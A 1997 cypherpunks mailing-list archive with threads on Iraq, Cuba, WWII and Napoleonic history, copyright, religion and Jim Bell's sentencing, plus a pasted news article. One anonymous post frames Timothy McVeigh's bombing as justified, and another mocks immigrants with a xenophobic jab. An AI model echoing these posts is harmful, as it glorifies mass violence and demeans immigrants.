don't know if this is precisely accurate, but anytime the U.S. exerts its
superpower status to embargo free trade with some nation, obviously there
is some effect.)

As for Iraq and Hussein, he's JAD...Just Another Dictator. Not that much
worse than several dozen others, including most rulers in the Middle East,
that the U.S. deals with on a daily basis.

For some reason (hint: oil companies), the American President decided to
take a stand against his invasion of a neighboring country. No such stands
have been taken in recent years in many other such invasions.

(Bush may not have properly consulted the oil companies, either, as there
is ample evidence that Hussein would _not_ have cut off oil shipments had
he succeeded. In fact, he probably would have _increased_ oil exports.
Hmmmhhhh.)

>Still, it can't be universally popular.  How many cypherpunks live in
>Iraq?

I certainly wouldn't choose to live there. Of the 200 or so nations, there
are very few I would choose to live in, and few that would be conducive to
"Cypherpunks activities."

(It is not an accident that the nexus of the Net and Web is, loosely
speaking, "Western Civilization" in general, and America in particular.
Many reasons for this. Not just overall wealth, which allows for very good
connectivity and zillions of PCs in homes and businesses, but also the
First Amendment and facsimiles in European nations. Etc. Etc.)

But the whole Iraq situation bugged me, as that is one of the few places I
really planned to visit someday as a tourist...Sumeria, Babylon, the
Hanging Gardens, all those great Mesopotamian places. Egypt has no
attraction to me, but seeing the Gate of Ishtar, what's left of
Babylon....wow.

Maybe if I'm arrested for anti-government activities here in the U.S. I'll
be able to travel safely in Iraq when I get out of prison.

(Though by then the CIA may have successfully assassinated Hussein and
installed its own repressive government. )

I'm not a champion of Hussein or Iraq, but he's just another dictator (JAD).

By the way, I totally and completely and fully reject the U.S. position on
Cuba. It seems a slam dunk issue of repressing the liberties of Americans
to say they cannot travel to Cuba, cannot trade with Cubans, cannot give
money to Cubans, just because the government in D.C. decided 37 years ago
to isolate Castro.

Castro is JAD, and our isolation of Cuba has helped keep him in power.

>Monty Cantsin
>Editor in Chief
>Smile Magazine


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 25 Nov 1997 11:07:55 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Further costs of war
In-Reply-To: <199711250120.CAA06322@basement.replay.com>
Message-ID: <v03102813b09fe207522c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:20 PM -0700 11/24/97, Anonymous wrote:

>Fabrice Planchon wrote:
>>Once again, if 1812 the [British] invasion [of the United States]
>>actually occured,...
>
>They burned the White House to the ground.  Does that count?  ;-)

Wait...they burned the White House to the ground?

Maybe we need to rethink this...maybe the British were ur-Cypherpunks.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 25 Nov 1997 09:08:52 +0800
To: cypherpunks@ssz.com
Subject: http:--www.cnn.com-US-9711-24-cyberhate.web.site.ap-
Message-ID: <199711250105.TAA14628@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
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   Main banner Click here to see the Q phone from QUALCOMM, the highest
   evolution of digital. rule
   
                   CIVIL RIGHTS WEB SITE TO FIGHT CYBERHATE
                                       
      CivilRights.org November 24, 1997
     Web posted at: 6:01 p.m. EST (2301 GMT)
     
     WASHINGTON (AP) -- Responding to President Clinton's call to fight
     hate crime, the nation's largest civil rights coalition and a
     regional Bell telephone company have created a Web site designed to
     combat Internet hate speech.
     
     The Leadership Conference on Civil Rights said Monday the site --
     www.civilrights.org -- was developed and will be maintained for two
     years with a $100,000 contribution from Bell Atlantic.
     
     Clinton issued a call two weeks ago at a White House Conference on
     Hate Crimes to find ways to fight the problem.
     
     "You are providing an antidote to cyberhate," he told the civil
     rights coalition in a letter read by Transportation Secretary Rodney
     Slater at a news conference on Monday.
     
     Wade Henderson, LCCR executive director, said the idea to create a
     Web site was triggered by a proliferation of Internet hate speech by
     groups such as the Ku Klux Klan and White Aryan Resistance.
     
     Bell Atlantic chairman Ray Smith cited a study by the
     Anti-Defamation League showing the number of hate sites on the
     Internet has doubled to 250 in the past year. He called the new site
     "an antidote for poison."
     
     The idea is to "counter the frightening espousal of hatred and
     violence against Americans because of their race, gender, religious
     or sexual orientation," he said.
     
     Henderson said hate groups have become more sophisticated in
     communicating their doctrines and recruiting. "Instead of the
     street, they recruit on the net," he explained.
     
     There is also concern for the First Amendment protection of free
     speech, Henderson said. "This Web site will respond to hate with
     information and competing ideas without seeking to restrict Internet
     speech."
     
     In addition to providing information on hate crimes around the
     country, the site will explain various strategies to address those
     crimes and offer materials for young people, parents and teachers to
     encourage diversity.
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed.
     
    
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  Related stories:
     * AllPolitics: Clinton denounces Denver's racial violence - November
       22, 1997
     * Denver seeks answers in apparent wave of hate crime - November 21,
       1997
     * Hate case raises Internet free speech issues - November 9, 1997
       
  Related sites:
  
     Note: Pages will open in a new browser window
     * CivilRights.org - Leadership Conference on Civil Rights
     * Bell Atlantic
     * American Communication Association WWW Archives
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 24 Nov 1997 17:34:24 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Will Jews be Forced to Accept Christ in Public Schools?
In-Reply-To: <FJ1Lge13w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.971124190633.1446B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 23 Nov 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

[...]

> > Indeed I have worries about contribution money to an orginisation that I
> > have little ablity to control via my influence as a voter.
> 
> Your influence as a voter?  Bwa-ha-ha-ha-ha!!!!1!!!

Recall that .au has a very diffrent voteing system to that of the US.  I
have more political inflence [1] on my politions then the adverage US
voter.

[1] As a tackticly voteing swinger.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.  I do not reply to munged addresses.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 25 Nov 1997 08:40:33 +0800
To: cypherpunks@toad.com
Subject: Update On Jim Bell
Message-ID: <1.5.4.32.19971125002759.006e8104@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Just a bit of new info about recent court actions, which is 
documented at:

   http://jya.com/jimbell-dock4.htm

In short, on November 17 Jim's attorney (D') and the prosecutor
(P') submitted Sentencing Memoranda to the Court. On November
21 (the previously scheduled sentencing date), D' presented a 
Supplement to Sentencing Memo. Both of D's memos were 
Filed Under Seal, but not the P's.

On November 21 the Court acks receipt of the sentencing
memoranda and a Pre-Sentencing Report (PSR) from the Probation 
Officer (PO). There was argument. The Court will present counsel with 
additional questions on sentencing. The sentencing is postponed 
(continued) until December 12. Jim, jail (D' remanded).

Leg. wiz. w'll now expl. ths is just jive just. in No. 1 Amer.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "D'jinnie" <jinn@inetnebr.com>
Date: Tue, 25 Nov 1997 10:01:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Further costs of war (fwd)
In-Reply-To: <199711241930.NAA13443@einstein.ssz.com>
Message-ID: <Pine.GSO.3.95.971124195015.1962C-100000@falcon>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 24 Nov 1997, Jim Choate wrote:

: Napolean never took Moscow, he was stopped - just like Hitler - at the
: gates. The closest either French or German forces got was to look at the
: spires of the Kremlin. Beyond that similarity there are a wide range of
: differences between the situation. The fact remains that had Stalin *not*
: been able to withdraw troops from the Chinese border he would not have been
: able to keep Stalingrad or Moscow. Further, the *only* reason that Stalin
: could afford to do that was because Sorge indicated that the Japanese were
: interested in other goals at the time. Oh, regarding Napolean, the reason
: that he couldn't take Moscow was because troops, called Cossacks, were moved
: from the east to the west.

I don't feel qualified to argue on any of the points brought up in this
rather long thread, but the fact is, Napoleon DID conquer Moscow. He was
stopped AFTER Moscow was taken. On his way out, he burned as much of it as
he could. Indeed, the taking of Moscow was a rallying point for Russian
troops. Kutuzov, who refused to participate earlier in the war, changed
his mind and took control of the armies.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 25 Nov 1997 03:49:56 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Further costs of war
Message-ID: <199711241934.UAA23715@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Robert Hettinga wrote:
>Of course, all the pseudoconstitutionalist claptrap about the 16th
>being unconstitutional is, of course, that. The constitution's what
>the Supreme Court says it is, unfortunately.

Personally, I do not believe in the infallibility of the Supreme
Court.  The people on the Court are just people.  They can make
mistakes.  They can have ulterior motives.  They can be corrupt.

The Constitution is understood by many people to be something like a
charter in which the people of the United States granted the
government certain powers, reserving all others to themselves.

The Constitution has meaning.  The Supreme Court may not amend this
meaning, it may only interpret it.  When the Court makes a decision
which is obviously not consistent with the meaning of the Constitution
it is reasonable to say that the Court is in error.  In an extreme
situation many people would say that it is reasonable for the people
of the United States to revoke the Charter granted to this government.

Consider this scenario: Chief Justice Rehnquist appears in Court
wearing a tutu.  He declares that the Court has just decided that in
emergency situations it is proper and Constitutional for the Supreme
Court to take control of the government to protect democracy.

Would it be reasonable to say that the Constitution had changed or
would it be reasonable to put the Chief Justice in the loony bin?

Let's take an example from history.  The United States decides to
enter World War I.  People who are opposed to this war and to the
draft make speeches opposing both policies.  A law is passed
forbidding this activity.  The Chief Justice declares that speech may
be controlled if it is akin to "yelling 'Fire!' in a crowded movie
house."  Following this logic, the government jails people who speak
against the War and the draft.  One of these people, Eugene Debs,
campaigns from jail for the Presidency and gets about a million votes.

Would it be proper to conclude that speaking against the War may be
punished Constitutionally or that the Court had failed to carry out
its duties?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 25 Nov 1997 03:42:40 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Further costs of war
Message-ID: <199711241935.UAA23852@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Robert Hettinga wrote:
>Of course, all the pseudoconstitutionalist claptrap about the 16th
>being unconstitutional is, of course, that. The constitution's what
>the Supreme Court says it is, unfortunately.

Personally, I do not believe in the infallibility of the Supreme
Court.  The people on the Court are just people.  They can make
mistakes.  They can have ulterior motives.  They can be corrupt.

The Constitution is understood by many people to be something like a
charter in which the people of the United States granted the
government certain powers, reserving all others to themselves.

The Constitution has meaning.  The Supreme Court may not amend this
meaning, it may only interpret it.  When the Court makes a decision
which is obviously not consistent with the meaning of the Constitution
it is reasonable to say that the Court is in error.  In an extreme
situation many people would say that it is reasonable for the people
of the United States to revoke the Charter granted to this government.

Consider this scenario: Chief Justice Rehnquist appears in Court
wearing a tutu.  He declares that the Court has just decided that in
emergency situations it is proper and Constitutional for the Supreme
Court to take control of the government to protect democracy.

Would it be reasonable to say that the Constitution had changed or
would it be reasonable to put the Chief Justice in the loony bin?

Let's take an example from history.  The United States decides to
enter World War I.  People who are opposed to this war and to the
draft make speeches opposing both policies.  A law is passed
forbidding this activity.  The Chief Justice declares that speech may
be controlled if it is akin to "yelling 'Fire!' in a crowded movie
house."  Following this logic, the government jails people who speak
against the War and the draft.  One of these people, Eugene Debs,
campaigns from jail for the Presidency and gets about a million votes.

Would it be proper to conclude that speaking against the War may be
punished Constitutionally or that the Court had failed to carry out
its duties?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 25 Nov 1997 11:50:05 +0800
To: cypherpunks@toad.com
Subject: Re: Iraq and computers
In-Reply-To: <199711250133.CAA09163@basement.replay.com>
Message-ID: <347A40F1.1D5E@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Monkey Catskin wrote:

> Michael Wilson wrote that Reuters wrote:
> >Quoting U.S. officials and U.N. diplomats, the newspaper said that
> >Iraqi scientists and defense officials are using Western-made
> >computers to transfer data from bulky papers to small disks that can
> >be easily dispersed, making the information difficult for inspectors
> >to track.
> 
> This is an interesting development because it also makes it hard for
> the Iraqi government to track what is going on, too.  The government
> of Iraq has been aware of the dangers of computers for many years.  At
> one time they were tightly controlled.  Even typewriters were
> controlled.  The government had writing samples of each one.
> 
> Now, apparently, this policy is loosening.  This suggests that U.S.
> policy of the last 8 years has managed to achieve what Saddam Hussein
> could not - it has made the Hussein regime a genuinely popular
> government.

  I told the Pentagon that they could avoid the Iraqui citizens
misunderstanding our intentions by stenciling "We're from the US
government, and we're here to help you!" on the sides of the
missles and bombs. But nnooooo...that would make too much sense,
wouldn't it?
 
> Still, it can't be universally popular.  How many cypherpunks live in
> Iraq?

  At least one...

SaddaMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 25 Nov 1997 11:11:46 +0800
To: cypherpunks@ssz.com
Subject: 1812_Napoleon_in_Moscow.htm
Message-ID: <199711250316.VAA15746@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   Napoleonic Literature
   Greenhill  [INLINE] Books
   
     _________________________________________________________________
   
   
   [INLINE] 1812: NAPOLEON IN MOSCOW
   by Paul Britten Austin
   
   9 x 6 in. (240 x 159 mm).  272 pages.  22 halftones, 2 maps.
   ISBN 1-85367-195-9.
   U.K. Price &pound;19.50.  U.S. Price $40.00.
   
   Napoleon's Grande Armée waits at the gates of Moscow, preparing to
   enter in triumphal procession. But it finds a city abandoned by its
   inhabitants - save only the men who emerge to fan the flames as
   incendiary fuzes hidden throughout the empty buildings of Moscow set
   the city alight. For three days Moscow burns, while looters dodge the
   fires to plunder and pillage. And so begins 1812: Napoleon in Moscow,
   Paul Britten Austin's atmospheric 'word-film' presented through the
   testimony of more than 100 of the people who witnessed the took part
   in the campaign. A large proportion of these close-up accounts have
   never been seen in English before.
   
   After the fires die down the army settles in the ruins of Moscow. For
   five weeks Napoleon waits at the Kremlin, expecting 'his brother the
   Tsar' in St. Petersburg to capitulate and make peace, while in fact
   the Russian army is gathering its strength. At the same time Murat's
   cavalry, the advance guard, is encamped in dreadful conditions three
   days' march away at Winkowo, where it is being starved to death. When
   Napoleon eventually realizes the futility of his plans and prepares to
   leave Moscow, the advance guard is surprised by a Russian attack and
   tumbles head over heels out of its position. The most astounding
   exodus in modern times ensues. Trailing thousands of wagons and
   carriages laden with all the stupendous loot of Moscow, the Grande
   Armée moves slowly south in an attempt to outflank the Russian General
   Kutusov. At Malo-Jaroslavetz, 100 kilometers from Moscow, it runs
   headlong into ten of Kutuzov's divisions, and its 'conquest of the
   world' comes to an end with the shock of Napoleon himself narrowly
   escaping capture by Cossacks.
   
   1812: Napoleon in Moscow follows on from the brilliant 1812: The March
   on Moscow, which brought Napoleon's army across Europe to the great
   city. Paul Britten Austin recreates this next phase of the epic
   campaign with characteristic verve, and an astonishing sense of
   immediacy from the words of the participants themselves.
   
   Paul Britten Austin went to sea as a cabin boy in the British merchant
   marine, graduating to Radio Officer and serving in tankers and liberty
   ships. In 1947 he recovered his childhood home in Paris, but moved to
   Sweden, where he married the Swedish novelist Margareta Bergman,
   sister of the film director. For nearly a decade he was in charge of
   English-language broadcasts from Radio Sweden; thereafter, from 1957
   to 1969, of the Swedish government tourist office in London.
   
   He has written a score of books on various subjects, both in English
   and in Swedish, including a classic biography of the eighteenth
   century Swedish poet Carl Michael Bellman. He has also translated many
   other Swedish classics and he has been awarded a Swedish knighthood of
   the Order of the North Star and an honorary D.Litt. In 1989 he
   contributed the article on Marshal Oudinot to David Chandler's
   anthology Napoleon's Marshals.
   
     _________________________________________________________________
   
   (If you surfed directly to this page, please go to the Napoleonic
   Literature Home Page to see the wealth of information that's available
   on this website.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Redneck Motherfucker <rm@dev.null>
Date: Tue, 25 Nov 1997 11:47:35 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Report on UN conferen
In-Reply-To: <199711250216.DAA17532@basement.replay.com>
Message-ID: <347A443A.7AF9@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote: 
> Michael Friedman <mikhaelf@mindspring.co> wrote reg. "illegal
> immigrants":
>  > While in this country they are in the act of
>  > committing a crime. Once they have been deported they have
>  > stopped committing the crime and then they can plead to appear
>  > in court.

> (their "crime" is being from "other
> side" of the pencil-lines, that the statists have drawn on their
> papers).

Have you noticed they stopped bringing their goddamn goats with
them since the Marines took firm action?
  
> Even the "freedom-loving", no-boundaries etc. Cypherpunks fall over
> those imaginery "border-lines", without having it ever dawn on
> them, that *everything* done now to "illegal immigrants" will one
> day soon be extended to the government-issued passport/digital
> VeriSign-Tax-ID bearing "Americans" as well.

Sure, pal. Since you're posting anonymously, I assume you have to
hide your identity because you don't have an Information Highway
driver's license.
Hit the road, pal. We're wise to your type.

> In fact, it's being done already. The systems developed to "track
> down illegal aliens" can track ANYBODY for that matter.

Not me, buddy. I am a Masturbater of Deception, and I use my long
tongue to keep from leaving my pecker-tracks behind for others to
follow. 

> AnybodyHomeMonger

AhhhhUuhhYAAHHMonger (See...now you can't tell who I am, can you?)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 24 Nov 1997 20:24:40 +0800
To: Jon Galt <jongalt@pinn.net>
Subject: Re: Will Jews be Forced to Accept Christ in Public Schools?
In-Reply-To: <Pine.SUN.3.91.971123174103.24326D-100000@everest.pinn.net>
Message-ID: <Pine.LNX.3.93.971124213606.1568D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 23 Nov 1997, Jon Galt wrote:

> On Sun, 23 Nov 1997, ? the Platypus {aka David Formosa} wrote:

[...]

> > Indeed I have worries about contribution money to an orginisation that I
> > have little ablity to control via my influence as a voter.
> 
> Then I take it you have almost the exact same worries about contributing 
> to churches as you have about "contributing" to government.

Basicly yes,  Churchers are more like small goverments of there own,
accountable only to there vision of God (wich will be redifined if it
becomes to difficalt to get away with what thay wish.)

> Reminds me of a short exchange I had with a co-worker a couple of years 
> ago.  He had bought a lottery ticket (which I don't do), and it went like 
> this:
> 
> I:  What are your chances of winning?
> he:  What are *yours*?
> I:  Not much different than yours!

One neet thing about knowing a bit of maths (aprat from the ablity to do
cyrto) is that you clearly know the probilities of winning lotto.

ObDisclamer  I am not crising the idear of relgion or spiritality.  More
the way thay are currently implermented in todays socity.  In otherwords
its not God I have a beef with but the peaple who /say/ that there acting
on His wishes.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.  I do not reply to munged addresses.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Tue, 25 Nov 1997 07:28:36 +0800
To: cypherpunks@toad.com
Subject: Free Crime! (Take One...) / Re: Jim Bell's Sentencing Delayed
Message-ID: <6q4nduOcKfiNfFLr+CyOdw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Again


Ray Arachelian wrote:
> > Of course, it would be difficult to wash away all the FUD the government
> > has disseminated about the Bell case by now. 

> Not so difficult.  Remember that Bell stink-bombed those offices
> allegedly.  This could easily be seen as a teenage-mentality prank.
> Play that part up, and the ludicrousness of everything else he was
> "schemeing", and it makes the IRS look very very bad.  They are pushing
> the bad ass terrorist view of him.

One way of looking at it is that a greater crime than he committed
has already been 'paid for'. Whatever they add to his sentence will
serve to increase the value of the 'gift certificate' Bell is buying
for some lucky CypherPunk for Christmas.

Since much of the authority of society revolves around guilt/shame,
then a crime already paid for allows us to committ it without guilt.
e.g. - Tim McVeigh

I am tired of the whiners who cry out for the public hanging of
every person deemed guilty by the justice system of 12 million
jurors whipped into an emotional frenzy by the press and the
government spin doctors, and who then bitch and moan when some
servant of the Tao, such as Terrible Timmy, exercises the other
side of the two-edged sword.
Since McVeigh was a dead-duck anyway, it is a shame that he didn't
just stand up in front of the jury with a history book and a
calculator, do some figuring, and say, "By my calculations, not
only is my crime already paid for, but 'we the people' still have
plenty of 'credit' left on the account."

~~~
YouCanBetYourSweetAssIAmSending*This*PostAnonymouslyMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 25 Nov 1997 11:47:48 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Further costs of war (fwd)
Message-ID: <199711250350.VAA16081@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 24 Nov 1997 22:00:04 -0500
> From: Fabrice Planchon <fabrice@math.Princeton.EDU>
> Subject: Re: Further costs of war (fwd)

> On Mon, Nov 24, 1997 at 01:30:37PM -0600, Jim Choate wrote:

> To quote one of your examples,
> the production of the Me 262 was seriously delayed due to his obsession
> to make a bomber of it. Not that it would have changed the game, just
> made it more difficult for the allies.

True, but my reference had to do with what would have happened if the US had
NOT gotten into the conflict. Then such shortages as the 4-engine bomber
would not have been as critical to Germanys servival as early in the war.
The bottem line, had the US not entered the war Germany and Japan had enough
resources to reach their goal. Further, it is unreasonable given the nature
of Hitler, Mussolini, & Tojo to believe they would have left the US alone,
let alone stable long-term trade.

> > Such as? The situation in China at the time was that a variety of warlords
> > were spending more time fighting each other than the Japanese. China
> 
> Nothing better than a common enemy to help reconciliation...

It's unfortunate the Chinese didn't see it that way.

> Well, you want to stick to this issue of fighting battles between
> armies.

Actualy I am discussing the strategic and operational level, not tactical.
It isn't the result of a single battle but rather the management of a string
of battles that is important to winning. That takes understanding motives,
transportation, raw supplies, processing facilities, etc. The thesis was
that had the US not entered the war the result would have been a relatively
benign quad of the US, Germany, Italy, & Japan, supposedly moderated by
distance and economic dependancy. I challene that.

Consider the strategic interacion of 3 parties, easily extensible to more.
It is in each of the parties best long-term interest (assuming unrestricted
access to resources, theological supperiority, etc.) to pair with one of the
other parties and attack the 3rd, evenly splitting the spoils. The stablist
strategic form is binary or possibly unitary. I would further feel
historicaly supported to propose that given sufficient time, resources, and
planning this situation will develop *and* devlolve to either a binary or a
unitary form. A recent example was the Soviet Union. The interesting question
is whether the current apparent unitary position of the US will devlove into
a multi-party situation or whether it can actualy win over by some means the
other parties to willing cooperation.

> So I am ready to accept that they win all this battles. So what
> next ? next they have to deal with too many territories to take care
> of. Unless they can have local faction to deal with that for
> them. Doesn't work very well usually. That's simple constation from past
> history. That's all. They won't be able to put a japanese soldier in
> every household from the great wall to Rhode Island.

And once they had control of the basic infrastructure they wouldn't have to.
I challenge the thesis that the Japanese would have had to put a soldier in
every house. Consider the situation in Vichy France and it's relationship
with German occupiers. The Chinese could certainly have no higher level of
objectionable feelings. Yet the Vichy French as a rule were quite
cooperative in supporting German goals. Even to the point of firing on their
French brothers in North Africa.

> This Abyssinia adventure was one of the reasons Mussolini got in trouble
> with, let's say, the ONU of this time, the "Société des Nations", as you
> pointed out. Doesn't change anything to what I said, and can be checked,
> about the fact that Mussolini wasn't a great friend of Hitler at
> first. It came more as a necessity than anything else.

Why? The Tripartite Pact wasn't signed until Sept. 27, 1940. A considerable
time before this Churchill had been sending letters to Mussolini requesting
him to stand against Germany. That act on Mussolini's part would definitely
thrown a wrench in the Germans plan on the strategic and political level. He
chose to go with the Germans because he at some level felt they would win.

> > If the US had waited until Hitler began dropping bombs on New York and
> > firing V2's from submarines 20 miles off the coast while at the same time
> > Japan was doing the same sorts of things, with a nice base at Pearl Harbor,
> > *and* you claim the US could have stood the test then I can only say you
> > are confused at best.
> 
> I think they could have done it. Let's say 50/50 ;-)

Seriously? What would the US have used? The P-51 Mustang would most
certainly not have gotten the surge it did because Britian would have been
giving their hot-rod Merlins to the Germans to put in their 109's. The
impact of that simple act alone would have seriously crippled the US and
given a considerable lead to the Germans in engine technology. Consider also
that without the military load the ME-262, Komet, Blitz Bomber, V2, etc.
would have gotten farther quicker. The US got its first jet engine from
Whipple who was a Brit.



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fabrice Planchon <fabrice@math.Princeton.EDU>
Date: Tue, 25 Nov 1997 11:16:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Further costs of war
In-Reply-To: <199711250120.CAA06322@basement.replay.com>
Message-ID: <19971124220636.26202@math.princeton.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Nov 25, 1997 at 02:20:34AM +0100, Anonymous wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Fabrice Planchon wrote:
> >Once again, if 1812 the [British] invasion [of the United States] actually occured,...
> 
> They burned the White House to the ground.  Does that count?  ;-)

Oups... of course I made a typo, and everybody read "in 1812
yadayadayada".
And yes it counts and I like it (just because the initial reason for
this mess was the tentative to take over Canada, and it just illustrates
that the US were already as any other country, trying to take over their
neighbours ;-) Of course nowadays you don't see that they miserabily
failed on that occasion)

                             F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Galt <jongalt@pinn.net>
Date: Tue, 25 Nov 1997 11:38:06 +0800
To: Mikhael Frieden <mikhaelf@mindspring.com>
Subject: Re: Copyrights and Wrongs, from The Netly News
In-Reply-To: <3.0.16.19971124001823.10b73e70@pop.mindspring.com>
Message-ID: <Pine.SUN.3.91.971124220936.27317E-100000@everest.pinn.net>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 24 Nov 1997, Mikhael Frieden wrote:
> 
>         Perhaps but there is something particularly obnoxious to the rule
> of law when scum like McVay being able to say to the effect, 'I know I am
> stealing from you. Sue me.' 
> 
>         It is most clearly a mockery of the law to find his pack of
> drooling toadies such as McC using the theft as a juvenile taunt, that some
> may set themselves above the law solely upon the grounds of the cost of
> civil action. 
> 
>         That is something simply not done in civilized society. 

I'll mention something else that is simply not done in civilized 
society:  forcefully preventing someone from peacefully using information 
that they have, simply because someone else supposedly "owns" that 
information.

I'm not making any comment about the people that were referred to above.  
I'm making a comment about copyright laws.

You cannot *own* an idea.

______________________________________________________________________
Jon Galt
e-mail:  jongalt@pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
Democracy is two wolves and a sheep voting on what to have for dinner.
______________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 25 Nov 1997 12:20:35 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Global Strategic Structure - Speculative
Message-ID: <199711250420.WAA16286@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Thesis:

Given,

  - n-party political systems evolve/devolve into binary or unitary
    party systems.

  - a binary system is stable provided each individual party is stable.

  - no truly global unitary system has ever existed.

  - historicaly we see multi-party systems devolve into 2-3 primary
    parties.

  - it may be possible that the US is the first country in history to
    reach the unitary model.

  - that unitary position, if it exists, is not total, there being at
    least 1 3rd world level participant. in fact there being 200+ such
    parties.

Then,

  - does the unitary position evolve/devolve back to a n-party system
    where the unitary party is either eliminated or reduced in stature.

  - is it reasonable that a single governmental system can possibly
    manage a global resource pool.

  - will we then see an averaging of political systems across the total
    set of parties.

  - is it possible, considering the range of human desires & beliefs, that
    a multiplicity at todays level of parties is a stable state, because of
    the averaging effect. In effect creating a global government rule-set
    for inter-national and intra-national behaviour. the root cause being
    that this averaging reduces the pay-off for violence and maximizes the
    pay-off for cooperating.


